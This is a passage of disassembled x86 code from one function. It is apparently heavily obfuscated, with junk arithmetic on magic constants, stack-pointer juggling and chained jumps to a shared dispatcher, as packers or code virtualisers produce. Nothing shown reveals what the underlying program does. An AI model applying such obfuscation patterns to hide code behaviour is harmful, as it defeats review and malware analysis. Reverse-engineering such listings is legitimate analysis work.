; ---------------------------------------------------------------------------


loc_5C2860:				; CODE XREF: sub_5A55E5+2D216j
		xor	ebx, 1CF44643h
		add	esi, ebx
		push	[esp+66h+var_68+2]
		push	[esp+6Ah+var_6C+2]
		jmp	loc_5CD719
; ---------------------------------------------------------------------------


loc_5C2873:				; CODE XREF: sub_5A55E5+226DFj
		mov	ebp, esp
		push	1987h
		mov	[esp+72h+var_74+2], ecx
		mov	ecx, 4
		jmp	loc_5D3697
; ---------------------------------------------------------------------------


loc_5C2887:				; CODE XREF: sub_5A55E5+28874j
		mov	ebx, [esp+72h+var_74+2]
		add	esp, 4
		jmp	loc_5C3CA1
; ---------------------------------------------------------------------------


loc_5C2895:				; CODE XREF: sub_5A55E5+29D01j
		mov	eax, 1Ch
		add	eax, 39F908CAh
		push	ebx
		mov	ebx, 64D82F30h
		add	eax, ebx
		pop	ebx
		sub	eax, 52000BA4h
		add	eax, edi
		add	eax, 52000BA4h
		push	ebp
		push	eax
		push	2B631523h
		pop	eax
		jmp	loc_5C97E2
; ---------------------------------------------------------------------------


loc_5C28C1:				; CODE XREF: sub_5A55E5+1EA12j
		shr	ebp, 3
		jmp	loc_5C5957
; ---------------------------------------------------------------------------


loc_5C28C9:				; CODE XREF: sub_5A55E5+1FCB3j
		pop	esi
		push	eax
		mov	eax, esp
		push	5A92h
		mov	[esp+7Ah+var_7C+2], edx
		push	eax
		mov	eax, 34ED3275h
		jmp	loc_5CD6B0
; ---------------------------------------------------------------------------


loc_5C28E0:				; CODE XREF: sub_5A55E5+1F886j
		push	[esp+7Eh+var_7C+2]
		jmp	loc_5CCA6B
; ---------------------------------------------------------------------------


loc_5C28E9:				; CODE XREF: sub_5A55E5+2DE5Dj
		mov	esi, 4
		add	ebx, esi
		pop	esi
		jmp	loc_5BFADD
; ---------------------------------------------------------------------------


loc_5C28F6:				; CODE XREF: sub_5A55E5+1A6C7j
		pop	edi
		pop	[esp+92h+var_94+2]
		mov	esp, [esp+8Eh+var_90+2]
		jmp	loc_5D2ACC
; ---------------------------------------------------------------------------


loc_5C2902:				; CODE XREF: sub_5A55E5+233C4j
		mov	edx, [esp+8Eh+var_90+2]
		add	esp, 4
		mov	ebx, [esp+8Ah+var_8C+2]
		push	esi
		push	esp
		jmp	loc_5C8EBB
; ---------------------------------------------------------------------------


loc_5C2915:				; CODE XREF: sub_5A55E5+1DB30j
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp+96h+var_98+2]
		pop	esp
		push	[esp+92h+var_94+2]
		mov	ebp, [esp+96h+var_98+2]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp+9Ah+var_9C+2]
		mov	esp, [esp+9Ah+var_9C+2]
		push	ecx
		push	esp
		pop	ecx
		sub	esp, 4
		mov	[esp+0A2h+var_A4+2], ebp
		mov	ebp, 3CAD5BE5h
		inc	ebp
		jmp	loc_5C3020
; ---------------------------------------------------------------------------


loc_5C2954:				; CODE XREF: sub_5A55E5+2C3B1j
		mov	esp, [esp+0A2h+var_A4+2]
		or	eax, eax
		jz	loc_5C384D
		push	dword ptr [edi+28h]
		push	[esp+0A6h+var_A8+2]
		pop	eax
		push	25DCh
		mov	[esp+0AAh+var_AC+2], ecx
		mov	ecx, esp
		push	edx
		push	esp
		pop	edx
		sub	esp, 4
		mov	[esp+0B2h+var_B4+2], ecx
		mov	ecx, 4
		add	edx, ecx
		pop	ecx
		sub	edx, 4
		jmp	loc_5BF8D1
; ---------------------------------------------------------------------------


loc_5C298F:				; CODE XREF: sub_5A55E5+27C57j
		pop	edx
		add	al, dl
		sub	al, 74h
		pop	edx
		sub	al, 0DAh
		sub	al, dl
		add	al, 0DAh
		push	ecx
		push	bx
		mov	bl, 23h
		jmp	loc_5C402A
; ---------------------------------------------------------------------------


loc_5C29A5:				; CODE XREF: sub_5A55E5+223E4j
		sub	edx, 61FA1094h
		add	ecx, edx
		pop	edx
		push	ecx
		push	[esp+0ACh+var_A8]
		pop	ecx
		jmp	loc_5C7CC9
; ---------------------------------------------------------------------------


loc_5C29B9:				; CODE XREF: sub_5A55E5+2A26Ej
		mov	bl, 0BDh
		shl	bl, 7
		xor	bl, cl
		jmp	loc_5CDA1E
; ---------------------------------------------------------------------------


loc_5C29C5:				; CODE XREF: sub_5A55E5+2E980j
		add	edx, 4
		jmp	loc_5C1357
; ---------------------------------------------------------------------------


loc_5C29D0:				; CODE XREF: sub_5A55E5+1EC8Fj
		push	[esp+0ACh+var_AC]
		pop	ebx
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp+0B0h+var_B0]
		pop	esp
		push	2D9Fh
		jmp	loc_5C1678
; ---------------------------------------------------------------------------


loc_5C29F1:				; CODE XREF: sub_5A55E5+20BE2j
		not	ecx
		and	ecx, 223E71FDh
		push	ebp
		mov	ebp, 578E46D8h
		add	ecx, ebp
		pop	ebp
		shl	ecx, 5
		push	esi
		mov	esi, 59C584Fh
		shr	esi, 6
		jmp	loc_5CCAF7
; ---------------------------------------------------------------------------


loc_5C2A13:				; CODE XREF: sub_5A55E5+28636j
		shl	ebx, 3
		sub	ebx, 40FB60D8h
		and	ecx, ebx
		pop	ebx
		jmp	loc_5D33F3
; ---------------------------------------------------------------------------


loc_5C2A24:				; CODE XREF: sub_5A55E5+1BC40j
		mov	dh, al
		mov	ch, dh
		pop	edx
		pop	eax
		mov	dx, word ptr [esp+0A2h+var_A4+2]
		add	esp, 2
		add	al, ch
		jmp	loc_5CE320
; ---------------------------------------------------------------------------


loc_5C2A38:				; CODE XREF: sub_5A55E5+29080j
		shr	edi, 7
		add	edi, 76F76B38h
		push	edi
		xchg	eax, [esp+0A2h+var_A4+2]
		not	eax
		jmp	loc_5C2137
; ---------------------------------------------------------------------------


loc_5C2A4C:				; CODE XREF: sub_5A55E5+1BFE2j
		pop	edi
		push	ebx
		mov	ebx, 32EC5F28h
		add	ebx, 1FD96382h
		push	ecx
		mov	ecx, 5C7359C9h
		jmp	loc_5C9903
; ---------------------------------------------------------------------------


loc_5C2A64:				; CODE XREF: sub_5A55E5+1C80Aj
		mov	eax, [esp+8Ch+var_8C]
		jmp	loc_5C63F4
; ---------------------------------------------------------------------------


loc_5C2A6C:				; CODE XREF: sub_5A55E5+2BE77j
		shl	ebp, 6
		jmp	loc_5D35BE
; ---------------------------------------------------------------------------


loc_5C2A74:				; CODE XREF: sub_5A55E5+20AD2j
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		jmp	loc_5CF437
; ---------------------------------------------------------------------------


loc_5C2A87:				; CODE XREF: sub_5A55E5+2A16Fj
		sub	esp, 4
		mov	[esp+90h+var_90], edi
		push	ebp
		mov	ebp, 4
		push	ebp
		xor	[esp+98h+var_98], 59D47BF9h
		pop	edi
		xor	edi, 59D47BF9h
		pop	ebp
		add	ecx, edi
		pop	edi
		add	ecx, 4
		push	ecx
		jmp	loc_5C3F54
; ---------------------------------------------------------------------------


loc_5C2AB2:				; CODE XREF: sub_5A55E5+24FC8j
		add	edi, ecx
		jmp	loc_5C0CAB
; ---------------------------------------------------------------------------


loc_5C2AB9:				; CODE XREF: sub_5A55E5+27993j
		xor	[esp+90h+var_90], eax
		xor	eax, [esp+90h+var_90]
		pop	esp
		shl	[esp+8Ch+var_8C], cl
		jmp	loc_5BF83C
; ---------------------------------------------------------------------------


loc_5C2AC8:				; CODE XREF: sub_5A55E5+246CAj
		pop	ecx
		sub	ebp, 7C317813h
		push	edi
		mov	edi, 0E705A516h
		xor	ebp, edi
		mov	edi, [esp+8Ch+var_8C]
		add	esp, 4
		push	3EA4h
		mov	[esp+8Ch+var_8C], eax
		jmp	loc_5CDD75
; ---------------------------------------------------------------------------


loc_5C2AEA:				; CODE XREF: sub_5A55E5+1BD5Bj
		add	[esp+0C4h+var_C0], ebp
		mov	ebp, [esp+0C4h+var_C4]
		add	esp, 4
		jmp	loc_5C253F
; ---------------------------------------------------------------------------


loc_5C2AFC:				; CODE XREF: sub_5A55E5+297A7j
		xor	ebx, 709A744Ch
		shl	ebx, 1
		add	ebx, 101B48F2h
		xor	ebx, 0BA3519CDh
		jmp	loc_5C92AD
; ---------------------------------------------------------------------------


loc_5C2B15:				; CODE XREF: sub_5A55E5+1B515j
		mov	bl, 0E8h
		push	cx
		mov	ch, 1Ah
		jmp	loc_5C4C6A
; ---------------------------------------------------------------------------


loc_5C2B20:				; CODE XREF: sub_5A55E5+21FF5j
		pop	ebx
		jmp	loc_5C810F
; ---------------------------------------------------------------------------


loc_5C2B26:				; CODE XREF: sub_5A55E5+25AE0j
		xchg	eax, [esp+90h+var_90]
		pop	esp
		sub	esp, 4
		mov	[esp+90h+var_90], esp
		add	[esp+90h+var_90], 4
		jmp	loc_5C281C
; ---------------------------------------------------------------------------


loc_5C2B3C:				; CODE XREF: sub_5A55E5+1B6D3j
		push	eax
		mov	eax, 16DF298Dh
		sub	[esp+8Ch+var_88], 4A057895h
		sub	[esp+8Ch+var_88], eax
		jmp	loc_5CA62D
; ---------------------------------------------------------------------------


loc_5C2B53:				; CODE XREF: sub_5A55E5+1B481j
		pop	esi
		pop	ebp
		jmp	loc_5C7926
; ---------------------------------------------------------------------------


loc_5C2B5A:				; CODE XREF: sub_5A55E5+290F6j
		mov	esi, 743C248Fh
		not	esi
		inc	esi
		dec	esi
		and	esi, 6B0079A4h
		neg	esi
		add	esi, 9E2BE9DDh
		sub	edx, esi
		pop	esi
		sub	eax, 14B52B78h
		add	eax, edx
		add	eax, 14B52B78h
		jmp	loc_5C4C34
; ---------------------------------------------------------------------------


loc_5C2B85:				; CODE XREF: sub_5A55E5+28C0Cj
		pop	ecx
		push	749Bh
		mov	[esp+8Ah+var_8C+2], edx
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp+8Eh+var_90+2]
		pop	esp
		mov	[esp+8Ah+var_8C+2], esi
		push	ebp
		mov	ebp, 4DDC1E6Ah
		mov	esi, ebp
		pop	ebp
		push	4C7h
		jmp	loc_5CA478
; ---------------------------------------------------------------------------
		mov	ax, word ptr [esp+8Eh+var_90+2]
		push	edi
		push	esp
		mov	edi, [esp+96h+var_98+2]
		push	eax
		jmp	loc_5C3E48
; ---------------------------------------------------------------------------


loc_5C2BC3:				; CODE XREF: sub_5A55E5+23BF6j
		add	eax, 4F126A13h
		inc	eax
		jmp	loc_5C1D08
; ---------------------------------------------------------------------------


loc_5C2BCE:				; CODE XREF: sub_5A55E5+1D7ACj
		xor	ebp, ecx
		pop	ecx
		add	esi, ebp
		mov	ebp, [esp+96h+var_98+2]
		add	esp, 4
		add	esi, 4
		xchg	esi, [esp+92h+var_94+2]
		mov	esp, [esp+92h+var_94+2]
		jmp	loc_5C8317
; ---------------------------------------------------------------------------


loc_5C2BEA:				; CODE XREF: sub_5A55E5+2204Fj
		not	ecx
		shr	ecx, 7
		push	esi
		jmp	loc_5CCB9F
; ---------------------------------------------------------------------------


loc_5C2BF5:				; CODE XREF: sub_5A55E5+23DCBj
		add	edx, 7C1D63C4h
		jmp	loc_5D3205
; ---------------------------------------------------------------------------


loc_5C2C00:				; CODE XREF: sub_5A55E5+1EDC9j
		sub	eax, 18D75A44h
		push	ebx
		mov	ebx, 48F0471h
		add	eax, ebx
		pop	ebx
		pop	edx
		add	eax, 25A03B7Bh
		jmp	loc_5C8C68
; ---------------------------------------------------------------------------


loc_5C2C19:				; CODE XREF: sub_5A55E5+2D8A1j
		shl	eax, 1
		and	eax, 6A250BC8h
		push	ebp
		mov	ebp, 0E2A3AC94h
		jmp	loc_5C7887
; ---------------------------------------------------------------------------


loc_5C2C2B:				; CODE XREF: sub_5A55E5+273E3j
		pop	ebx
		xor	ebx, 71F6305Bh
		push	[esp+92h+var_94+2]
		pop	ebp
		push	5D01h
		mov	[esp+96h+var_98+2], ebx
		jmp	loc_5C130A
; ---------------------------------------------------------------------------


loc_5C2C43:				; CODE XREF: sub_5A55E5+2A5CEj
		sub	bl, ah
		pop	eax
		xor	ah, bl
		pop	bx
		jmp	loc_5CEC87
; ---------------------------------------------------------------------------


loc_5C2C4F:				; CODE XREF: sub_5A55E5+220ACj
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp+90h+var_90]
		mov	esp, [esp+90h+var_90]
		jmp	loc_5C769F
; ---------------------------------------------------------------------------
		dw 0E95Ch
		db 90h
		db 0FBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5C2C6C:				; CODE XREF: sub_5A55E5+212A8j
		mov	ecx, [esp+90h+var_90]
		add	esp, 4
		add	ebp, 4
		xchg	ebp, [esp+8Ch+var_8C]
		jmp	loc_5CE791
; ---------------------------------------------------------------------------


loc_5C2C7D:				; CODE XREF: sub_5A55E5+2C462j
		xor	[esp+8Ch+var_8C], edi
		xor	edi, [esp+8Ch+var_8C]
		mov	esp, [esp+8Ch+var_8C]
		rol	[esp+8Ch+var_8C], cl
		pushf
		jmp	loc_5BF83C
; ---------------------------------------------------------------------------


loc_5C2C8F:				; CODE XREF: sub_5A55E5+2A208j
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	eax
		mov	eax, 4
		add	ebp, eax
		pop	eax
		jmp	loc_5CDB31
; ---------------------------------------------------------------------------


loc_5C2CA6:				; CODE XREF: sub_5A55E5+23C8Ej
		neg	edi
		jmp	loc_5C9A7E
; ---------------------------------------------------------------------------


loc_5C2CAD:				; CODE XREF: sub_5A55E5+22815j
		mov	esp, [esp+94h+var_94]
		pop	[esp+94h+var_94]
		pop	esp
		jmp	loc_5C9DB5
; ---------------------------------------------------------------------------


loc_5C2CB9:				; CODE XREF: sub_5A55E5+28919j
		push	esi
		mov	esi, 24A05E8Dh
		sub	eax, esi
		pop	esi
		add	eax, ebx
		push	2FD3h
		mov	[esp+90h+var_90], ebx
		mov	ebx, 70D4422Dh
		jmp	loc_5C656A
; ---------------------------------------------------------------------------


loc_5C2CD6:				; CODE XREF: sub_5A55E5+27F05j
		inc	ecx
		xor	ecx, 23362A2Fh
		jmp	loc_5C3A8C
; ---------------------------------------------------------------------------


loc_5C2CE2:				; CODE XREF: sub_5A55E5+21C97j
		mov	esi, 550635B1h
		jmp	loc_5C43C1
; ---------------------------------------------------------------------------


loc_5C2CEC:				; CODE XREF: sub_5A55E5+229FDj
		shr	eax, 12h
		xor	eax, ecx
		xchg	eax, ebx
		jmp	loc_5CD432
; ---------------------------------------------------------------------------


loc_5C2CF7:				; CODE XREF: sub_5A55E5+1C72Ej
		push	esp
		pop	eax
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp+0BEh+var_C0+2]
		pop	esp
		sub	esp, 4
		mov	[esp+0BEh+var_C0+2], esi
		mov	esi, 4F401C7Ah
		xor	esi, 740F4FF4h
		shl	esi, 8
		add	esi, 1
		push	edi
		mov	edi, 0FE31C128h
		add	esi, edi
		pop	edi
		sub	edx, esi
		pop	esi
		jmp	loc_5BF83C
; ---------------------------------------------------------------------------


loc_5C2D30:				; CODE XREF: sub_5A55E5+23889j
		mov	esi, [esp+0BAh+var_BC+2]
		add	esp, 4
		xor	ecx, [esp+0B6h+var_B8+2]
		xor	[esp+0B6h+var_B8+2], ecx
		jmp	loc_5D2FBC
; ---------------------------------------------------------------------------


loc_5C2D44:				; CODE XREF: sub_5A55E5+2A08Ej
		pop	esi
		push	ebp
		jmp	loc_5CA029
; ---------------------------------------------------------------------------


loc_5C2D4B:				; CODE XREF: sub_5A55E5+243F6j
		mov	edi, 45EC5A17h
		add	eax, edi
		pop	edi
		add	eax, esi
		jmp	loc_5CC598
; ---------------------------------------------------------------------------


loc_5C2D5A:				; CODE XREF: sub_5A55E5+2A551j
		push	7B99h
		mov	[esp+0B6h+var_B8+2], eax
		sub	esp, 4
		sub	esp, 4
		mov	[esp+0BEh+var_C0+2], esp
		add	[esp+0BEh+var_C0+2], 4
		pop	[esp+0BEh+var_C0+2]
		add	[esp+0BAh+var_BC+2], 4
		mov	eax, [esp+0BAh+var_BC+2]
		push	esi
		mov	esi, esp
		push	ebp
		push	ecx
		mov	ecx, 6BF43A0Ch
		mov	ebp, 6BF43A08h
		jmp	loc_5C2BCE
; ---------------------------------------------------------------------------


loc_5C2D96:				; CODE XREF: sub_5A55E5+1BBCFj
		add	ebp, edi
		sub	ebp, 17F19FCh
		pop	edi
		push	51C5h
		mov	[esp+78h+var_78], edi
		push	46CBh
		mov	[esp+7Ch+var_7C], esi
		jmp	loc_5D3B73
; ---------------------------------------------------------------------------


loc_5C2DB4:				; CODE XREF: sub_5A55E5+269E4j
		add	esp, 4
		sub	ebp, 4
		jmp	loc_5C8F28
; ---------------------------------------------------------------------------


loc_5C2DC5:				; CODE XREF: sub_5A55E5+29522j
		add	esp, 4
		sub	esp, 4
		mov	[esp+78h+var_78], ebp
		mov	ebp, 346D18CCh
		not	ebp
		inc	ebp
		sub	ebp, 0CB92E730h
		add	ebx, ebp
		pop	ebp
		push	edi
		mov	edi, 68C31F10h
		push	1EC6h
		jmp	loc_5D0DB9
; ---------------------------------------------------------------------------


loc_5C2DEF:				; CODE XREF: sub_5A55E5+27978j
		sub	eax, 4D8A006Eh
		sub	eax, edx
		push	esi
		mov	esi, 544822h
		shr	esi, 5
		push	ecx
		mov	ecx, 4D88A22Fh
		xor	esi, ecx
		jmp	loc_5C6CAB
; ---------------------------------------------------------------------------


loc_5C2E0C:				; CODE XREF: sub_5A55E5+23217j
		sub	esp, 4
		jmp	loc_5CE884
; ---------------------------------------------------------------------------


loc_5C2E14:				; CODE XREF: sub_5A55E5+27AEAj
		mov	ebp, 134C29EEh
		shr	ebp, 5
		not	ebp
		push	edi
		mov	edi, 0
		sub	edi, ebp
		xchg	edi, ebp
		jmp	loc_5C3FCA
; ---------------------------------------------------------------------------


loc_5C2E2D:				; CODE XREF: sub_5A55E5+2AD18j
		sub	ebp, 89D0181h
		push	esi
		mov	esi, 6CA63B73h
		add	ebp, esi
		pop	esi
		jmp	loc_5CEA3B
; ---------------------------------------------------------------------------
		mov	cx, word ptr [esp+8Ch+var_8C]
		push	2D5Bh
		jmp	loc_5CAF82
; ---------------------------------------------------------------------------


loc_5C2E4F:				; CODE XREF: sub_5A55E5+2C396j
		push	5C77h
		mov	[esp+94h+var_94], eax
		jmp	loc_5BF83C
; ---------------------------------------------------------------------------


loc_5C2E5C:				; CODE XREF: sub_5A55E5+2BF02j
		push	edx
		mov	dx, 6ED5h
		or	dx, 4F09h
		or	dx, 7D12h
		jmp	loc_5CF06F
; ---------------------------------------------------------------------------


loc_5C2E70:				; CODE XREF: sub_5A55E5+1A27Aj
		pop	edi
		push	esi
		mov	esi, 79F1793Dh
		and	ecx, esi
		pop	esi
		add	ecx, 1
		push	edi
		mov	edi, 0FFFFFFFFh
		jmp	loc_5BFEC2
; ---------------------------------------------------------------------------


loc_5C2E88:				; CODE XREF: sub_5A55E5+22698j
		add	esp, 4
		add	esp, 4
		pop	[esp+44h+var_46+2]
		mov	esp, [esp+40h+var_42+2]
		imul	ecx
		jmp	loc_5C0955
; ---------------------------------------------------------------------------


loc_5C2E9B:				; CODE XREF: sub_5A55E5+1C46Dj
		add	ebp, edi
		pop	edi
		sub	esp, 4
		mov	[esp+0BEh+var_C0+2], edi
		jmp	loc_5C8102
; ---------------------------------------------------------------------------


loc_5C2EA9:				; CODE XREF: sub_5A55E5+2265Fj
		mov	edx, [esp+0BEh+var_C0+2]
		jmp	loc_5CCCDB
; ---------------------------------------------------------------------------


loc_5C2EB1:				; CODE XREF: sub_5A55E5+263DBj
		mov	edi, 363C7A14h
		jmp	loc_5CAD6E
; ---------------------------------------------------------------------------


loc_5C2EBB:				; CODE XREF: sub_5A55E5+2B8E5j
		pop	eax
		push	0B21h
		jmp	loc_5CB7E8
; ---------------------------------------------------------------------------


loc_5C2EC6:				; CODE XREF: sub_5A55E5+2D363j
		xor	[esp+0BEh+var_C0+2], ecx
		xor	ecx, [esp+0BEh+var_C0+2]
		pop	esp
		jmp	loc_5D0856
; ---------------------------------------------------------------------------


loc_5C2ED2:				; CODE XREF: sub_5A55E5+2940Dj
		add	edx, 4
		xchg	edx, [esp+0BAh+var_BC+2]
		jmp	loc_5C5BE8
; ---------------------------------------------------------------------------


loc_5C2EE0:				; CODE XREF: sub_5A55E5+1B507j
		mov	al, 0C3h
		mov	dl, al
		mov	eax, [esp+8Eh+var_90+2]
		add	esp, 4
		add	al, 77h
		add	al, dl
		sub	al, 77h
		pop	edx
		mov	dx, word ptr [esp+86h+var_88+2]
		jmp	loc_5D072F
; ---------------------------------------------------------------------------


loc_5C2EFA:				; CODE XREF: sub_5A55E5+1A7A2j
		push	ebp
		jmp	loc_5D37A7
; ---------------------------------------------------------------------------


loc_5C2F00:				; CODE XREF: sub_5A55E5+2041Aj
		and	eax, ebx
		push	[esp+9Ah+var_9C+2]
		jmp	loc_5D1EF8
; ---------------------------------------------------------------------------


loc_5C2F0A:				; CODE XREF: sub_5A55E5+2A8B9j
		pop	ecx
		push	ecx
		mov	ecx, 1F7928B0h
		jmp	loc_5CF522
; ---------------------------------------------------------------------------


loc_5C2F16:				; CODE XREF: sub_5A55E5+243CBj
		mov	[esp+9Eh+var_A0+2], ebp
		mov	ebp, 4
		add	ebx, 58351286h
		add	ebx, ebp
		sub	ebx, 58351286h
		jmp	loc_5CEE12
; ---------------------------------------------------------------------------


loc_5C2F31:				; CODE XREF: sub_5A55E5+2CB70j
		sub	edi, 5C040403h
		pop	ebp
		push	edx
		mov	edx, 269D03FDh
		xor	edi, edx
		pop	edx
		add	ecx, 343C0AFFh
		add	ecx, edi
		sub	ecx, 343C0AFFh
		push	[esp+9Ah+var_9C+2]
		push	[esp+9Eh+var_A0+2]
		pop	edi
		jmp	loc_5C3560
; ---------------------------------------------------------------------------


loc_5C2F5B:				; CODE XREF: sub_5A55E5+225B8j
		push	ebx
		jmp	loc_5C6EA6
; ---------------------------------------------------------------------------


loc_5C2F61:				; CODE XREF: sub_5A55E5+267C3j
		pop	esp
		dec	byte ptr [esp+9Eh+var_A0+2]
		pushf
		jmp	loc_5BF83C
; ---------------------------------------------------------------------------


loc_5C2F6B:				; CODE XREF: sub_5A55E5+27CBEj
		push	eax
		mov	eax, 16060464h
		mov	edi, eax
		pop	eax
		shr	edi, 5
		add	edi, 40CA2944h
		shl	edi, 5
		add	edi, 0D0B4D324h
		sub	esi, 0DFC0F6Eh
		push	edx
		mov	edx, 7D622A81h
		sub	esi, edx
		pop	edx
		add	esi, edi
		add	esi, 7D622A81h
		add	esi, 0DFC0F6Eh
		jmp	loc_5D2A71
; ---------------------------------------------------------------------------


loc_5C2FA8:				; CODE XREF: sub_5A55E5+23AEAj
		push	0D10h
		mov	[esp+0A6h+var_A8+2], edx
		mov	dh, 5Fh
		and	dh, 0DAh
		shr	dh, 5
		shr	dh, 5
		xor	dh, 0Bh
		shr	dh, 5
		jmp	loc_5CF9B5
; ---------------------------------------------------------------------------


loc_5C2FC6:				; CODE XREF: sub_5A55E5+2DCA4j
		xor	edi, 647B1DA8h
		push	ecx
		push	edi
		mov	edi, 53670B70h
		jmp	loc_5CDE5E
; ---------------------------------------------------------------------------


loc_5C2FD8:				; CODE XREF: sub_5A55E5+1B493j
		add	esi, 7B5D7983h
		pop	ebp
		add	esi, 0BB5DFC9Ah
		push	ebp
		mov	ebp, 4EC478AAh
		sub	eax, ebp
		pop	ebp
		sub	eax, esi
		add	eax, 4EC478AAh
		pop	esi
		sub	eax, 4725178Fh
		add	eax, ebx
		add	eax, 4725178Fh
		push	70EBh
		mov	[esp+8Eh+var_90+2], edi
		mov	edi, 23D448C4h
		add	eax, 24F93479h
		add	eax, edi
		sub	eax, 24F93479h
		jmp	loc_5D22BA
; ---------------------------------------------------------------------------


loc_5C3020:				; CODE XREF: sub_5A55E5+1D36Aj
		push	esi
		mov	esi, 58461BBBh
		xor	esi, 64EB4059h
		jmp	loc_5CDB3F
; ---------------------------------------------------------------------------


loc_5C3031:				; CODE XREF: sub_5A55E5+26169j
		not	esi
		or	esi, 104A463Dh
		dec	esi
		xor	esi, 0B65ADE7Ch
		add	edx, 3AC158E3h
		add	edx, esi
		sub	edx, 3AC158E3h
		pop	esi
		xchg	edx, [esp+0A2h+var_A4+2]
		jmp	loc_5C74BB
; ---------------------------------------------------------------------------


loc_5C3057:				; CODE XREF: sub_5A55E5+2A564j
		sub	edi, 0FFFFFFFFh
		sub	esp, 4
		jmp	loc_5C118E
; ---------------------------------------------------------------------------


loc_5C3065:				; CODE XREF: sub_5A55E5+2E01Bj
		add	ebp, eax
		jmp	loc_5C146F
; ---------------------------------------------------------------------------


loc_5C306C:				; CODE XREF: sub_5A55E5+2B2BAj
		sub	esp, 4
		mov	[esp+0AAh+var_AC+2], edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp+0AAh+var_AC+2]
		pop	esp
		or	eax, eax
		jnz	loc_5C384D
		sub	esp, 4
		jmp	loc_5D3476
; ---------------------------------------------------------------------------


loc_5C3094:				; CODE XREF: sub_5A55E5+1F232j
		add	ebx, 716E2E0Bh
		sub	ebx, edi
		sub	ebx, 716E2E0Bh
		pop	edi
		jmp	loc_5CCA3D
; ---------------------------------------------------------------------------


loc_5C30A8:				; CODE XREF: sub_5A55E5+277A2j
		sub	eax, 66FD07C2h
		shl	eax, 3
		jmp	loc_5CF7FB
; ---------------------------------------------------------------------------


loc_5C30B5:				; CODE XREF: sub_5A55E5+22FEDj
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp+0A6h+var_A8+2]
		mov	esp, [esp+0A6h+var_A8+2]
		mov	[esp+0A6h+var_A8+2], esi
		push	[esp+0A6h+var_A4+2]
		jmp	loc_5CAB59
; ---------------------------------------------------------------------------


loc_5C30CF:				; CODE XREF: sub_5A55E5+1AF52j
		push	ebx
		mov	ebx, 0B9C2538h
		sub	eax, ebx
		pop	ebx
		pop	edx
		add	eax, 47BE2FE8h
		sub	eax, edx
		jmp	loc_5CBC6F
; ---------------------------------------------------------------------------


loc_5C30E5:				; CODE XREF: sub_5A55E5+2606Dj
		add	ebp, 4FA03737h
		xor	ebp, 0BAB04F8Bh
		sub	ebx, ebp
		jmp	loc_5CDC5E
; ---------------------------------------------------------------------------


loc_5C30F8:				; CODE XREF: sub_5A55E5+2E0E9j
		sub	esi, 7762F01h
		inc	esi
		push	edx
		mov	edx, 5094128h
		sub	edx, 57168868h
		add	esi, edx
		jmp	loc_5CF049
; ---------------------------------------------------------------------------


loc_5C3112:				; CODE XREF: sub_5A55E5+20CD0j
		mov	edx, [esp+94h+var_94]
		jmp	loc_5C2915
; ---------------------------------------------------------------------------


loc_5C311A:				; CODE XREF: sub_5A55E5+263F5j
		not	esi
		xchg	esi, edx
		shr	edx, 1
		not	edx
		jmp	loc_5C9CD6
; ---------------------------------------------------------------------------


loc_5C3127:				; CODE XREF: sub_5A55E5+24D30j
		mov	esp, [esp+94h+var_94]
		push	edx
		push	ebx
		mov	ebx, 19C60CD1h
		push	esi
		mov	esi, 59CA0F39h
		jmp	loc_5CA4A1
; ---------------------------------------------------------------------------


loc_5C313C:				; CODE XREF: sub_5A55E5+22BB8j
		add	esp, 4
		add	edx, ebx
		pop	ebx
		push	ebx
		jmp	loc_5C8DCD
; ---------------------------------------------------------------------------


loc_5C314B:				; CODE XREF: sub_5A55E5+29598j
		pop	ebp
		jmp	loc_5C6CB1
; ---------------------------------------------------------------------------


loc_5C3151:				; CODE XREF: sub_5A55E5+2A515j
		xchg	ebp, [esp+98h+var_98]
		pop	esp
		push	52Bh
		mov	[esp+98h+var_98], ecx
		jmp	loc_5CC839
; ---------------------------------------------------------------------------


loc_5C3162:				; CODE XREF: sub_5A55E5+2BDD7j
		sub	edx, 0FA7F1887h
		add	ecx, edx
		pop	edx
		jmp	loc_5CBEEB
; ---------------------------------------------------------------------------


loc_5C3170:				; CODE XREF: sub_5A55E5+263A7j
		xor	esi, [esp+94h+var_94]
		mov	esp, [esp+94h+var_94]
		idiv	cx
		push	small 1DB9h
		mov	word ptr [esp+96h+var_98+2], dx
		jmp	loc_5CE583
; ---------------------------------------------------------------------------


loc_5C3186:				; CODE XREF: sub_5A55E5+2A605j
		or	edx, 62C55C8Bh
		or	edx, 24AF5CEBh
		push	ecx
		push	edx
		mov	edx, 7146648Eh
		push	edi
		mov	edi, 0
		sub	edi, edx
		jmp	loc_5C46DA
; ---------------------------------------------------------------------------


loc_5C31A6:				; CODE XREF: sub_5A55E5+2C136j
		push	esp
		jmp	loc_5C9DF4
; ---------------------------------------------------------------------------


loc_5C31AC:				; CODE XREF: sub_5A55E5+20DD6j
		mov	edx, 14425E08h
		xor	edx, 72BB0195h
		or	edx, 2C140D80h
		shl	edx, 7
		or	edx, 39AA100Bh
		sub	edx, 34625A1Fh
		xor	edx, 4B4D8468h
		add	eax, edx
		pop	edx
		sub	eax, 4
		xchg	eax, [esp+0A2h+var_A4+2]
		pop	esp
		mov	[esp+9Eh+var_A0+2], esi
		push	[esp+9Eh+var_9C+2]
		pop	esi
		pop	[esp+9Eh+var_A0+2]
		jmp	loc_5CF55B
; ---------------------------------------------------------------------------


loc_5C31EC:				; CODE XREF: sub_5A55E5+2D03Ej
		push	[esp+9Ah+var_98+2]
		pop	edx
		pop	[esp+9Ah+var_9C+2]
		pop	esp
		push	esi
		push	4
		pop	esi
		add	ecx, esi
		mov	esi, [esp+96h+var_98+2]
		add	esp, 4
		push	1633h
		mov	[esp+96h+var_98+2], edi
		mov	edi, 1F991206h
		sub	edi, 1F991204h
		push	edx
		mov	edx, 0A5F03A5h
		sub	edx, 3CB41403h
		shr	edx, 4
		add	edx, 2C47BE57h
		add	ecx, edx
		pop	edx
		add	ecx, edi
